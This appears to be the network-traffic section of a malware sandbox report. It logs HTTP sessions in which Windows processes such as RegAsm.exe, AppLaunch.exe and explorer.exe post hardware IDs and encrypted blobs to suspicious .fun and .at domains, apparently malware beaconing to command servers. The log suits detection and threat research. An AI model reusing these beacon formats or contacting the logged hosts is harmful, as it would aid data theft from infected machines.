Oct 3, 2023 09:55:26.931001902 CEST	6495	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=up0d3llhsvhu28kbnl1lp2kg33; expires=Sat, 27 Jan 2024 01:42:05 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UOZ63d6o5GeGh%2Fbxix7V0IlxFdkoCusGihTWUftCB9spKFRMoFE6ajOv0DVHDXdSiPgDmIrzpLJaBRwfxHnu%2Blh6cLJy0fnKsyUh7iUXSNz7N%2FCjelzTJle09ZEzHmECvQQGkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f72ff0f2072-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:26.931061983 CEST	6495	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49883	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:26.814066887 CEST	6493	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:26.814516068 CEST	6493	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:27.135700941 CEST	6496	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=n1rb9tudd8gts1r40tjquvek98; expires=Sat, 27 Jan 2024 01:42:06 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0%2B4z%2F%2F4m1m5owKCwSIKtg2VQrsE9NKiP4ftxTceewYlw7YQxjSe8g8AhaMkBislXREUYpGCbhqpuuNzV6%2BWQyoBMXMBeDIMpmAYb%2B9hcYaxeUzVcBZjISsGtrJIaqOfFdjEsow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f74ca2c077c-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:27.135730982 CEST	6496	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49884	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:27.160444975 CEST	6497	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:27.161024094 CEST	6497	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:27.448828936 CEST	6500	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ledi7f73il8fkol5gkm709autf; expires=Sat, 27 Jan 2024 01:42:06 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kezx6LA4RfTKP1zxy8m8f8phjM8m2HKiq1xox8Ls1YvZvkSEIXAs8ZDmIQTzw3iOEqRCMpDVKyWSLxL%2Fv9BpiEddkaNObXVZrhxt23jPa20Nfw4CBZuTt15yxHh8iUvpJbHnsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f76f81d3894-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:27.448863029 CEST	6500	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49808	211.181.24.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:54:27.051235914 CEST	1543	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xgeyakiifw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: gudintas.at
Oct 3, 2023 09:54:27.051235914 CEST	1543	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 3f 24 cf ad Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vu?$M[a0ag 4hDivp,T&&PEI/^.7NXc y)%
Oct 3, 2023 09:54:27.719454050 CEST	1544	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xgeyakiifw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: gudintas.at Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 3f 24 cf ad 7f 11 dc b7 f0 4d 5b e4 b4 f9 8e ee 61 06 a3 e1 f8 92 93 30 cd f1 bb 61 d4 67 02 20 1b 34 68 8d 0a e8 44 69 81 db fe dc f5 93 7f 76 c5 b4 a7 70 ca 1f 8c 04 a7 2c de 54 26 26 8d 50 45 ed 0e 49 2f 5e 8a 2e d1 f8 8a ef 95 c1 90 f5 d3 37 81 83 e2 0b 4e 84 58 63 a6 83 20 ba 79 29 25 80 e9 ca 80 88 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vu?$M[a0ag 4hDivp,T&&PEI/^.7NXc y)%
Oct 3, 2023 09:54:28.566061020 CEST	1545	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 3, 2023 09:54:29.498617887 CEST	1547	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49885	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:27.362212896 CEST	6498	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:27.362647057 CEST	6499	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:27.689929008 CEST	6502	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=i4cou6a25v9jg6v19nsegv8e00; expires=Sat, 27 Jan 2024 01:42:06 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZTJRx35CpH9OOGlGwnKQMVAc6QqcpWssXNSIQU3HZ2xI%2BWrwuDcCffHVGO2MlI%2FYisCO1YBiuACKkFoGUgU9lB4tIeIVOC0HZBK%2BACKZSOWhZt3%2BIdXMXTY3ZgeBIH9QMYfcqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f783eb83b8c-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:27.689953089 CEST	6502	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49886	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:27.700529099 CEST	6502	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:27.701097965 CEST	6503	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:28.074558973 CEST	6504	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=qvmvq82jm76tufrn2lr7s26nua; expires=Sat, 27 Jan 2024 01:42:06 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9rfhj4r2hIQ2FZ%2FukIGlR%2F5xhAoD0tB9nxSPAJgIyRZex9eNO0irMyrCy%2BoecylE4eNhmyLEO9oWBOsYnEpf1owsX4RIxzdhuONF0mw%2FH27lV%2B1KQbCxdOqX0eBVjw06B0Um5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f7a5d08395c-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:28.074620008 CEST	6504	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49887	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:28.093411922 CEST	6505	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:28.093903065 CEST	6505	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:28.354546070 CEST	6508	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=7176hvr23093npaeouqj5dvg12; expires=Sat, 27 Jan 2024 01:42:07 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:28 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RJV6fKjYdMrDqp0ISpcA0mm8C%2BBSWPMGSt7bjMgHQ3MoQunJgk70B%2BN26kUkqAIUpbz88bpDXiMsOjxuwYxuAfVw6p0RzfDmpJsrQuKFeBPKIit9iqOpN45AmS5OtUkFLvR7OQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f7cd86c5797-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:28.354573965 CEST	6508	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49888	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:28.295427084 CEST	6506	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:28.295916080 CEST	6507	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:28.666513920 CEST	6510	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=gsavprh6lrpk6an7hdebs8iiuf; expires=Sat, 27 Jan 2024 01:42:07 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:28 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QjXcKfrDZdFV4g8vdPWOYcRtECKVwEvcLXMtB3Q3Af%2FoZat93LSpWDxA6AYvg9LLAcYdBcfHh2RKfP%2BaSNFh8ktBWGG%2FMyyy5I0emeOaxW1Ojt%2BZxykZ%2FBUWVDP%2FquP136JZmw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f7e1e633940-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:28.666570902 CEST	6510	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49889	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:28.568141937 CEST	6509	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:28.568403006 CEST	6509	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:28.894670963 CEST	6513	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=p9jj71njg5p9l8cnfdfk0e138e; expires=Sat, 27 Jan 2024 01:42:07 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:28 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eVjcW7bACfWXXqH2YpBIxclfxHBg29nrnj%2BRCiVG0tZk9x1p88jEPdYQZ%2F3hByPYoH4ZGhpJ4n7vPHXEMpgDx19jzYifv6%2BzwmJ6ZL%2BXyNOc7k5BXEZm2iJagHrrZ1C2fIg6EA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f7fc8e281a5-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:28.894706011 CEST	6513	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49890	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:28.888740063 CEST	6511	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:28.889103889 CEST	6512	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
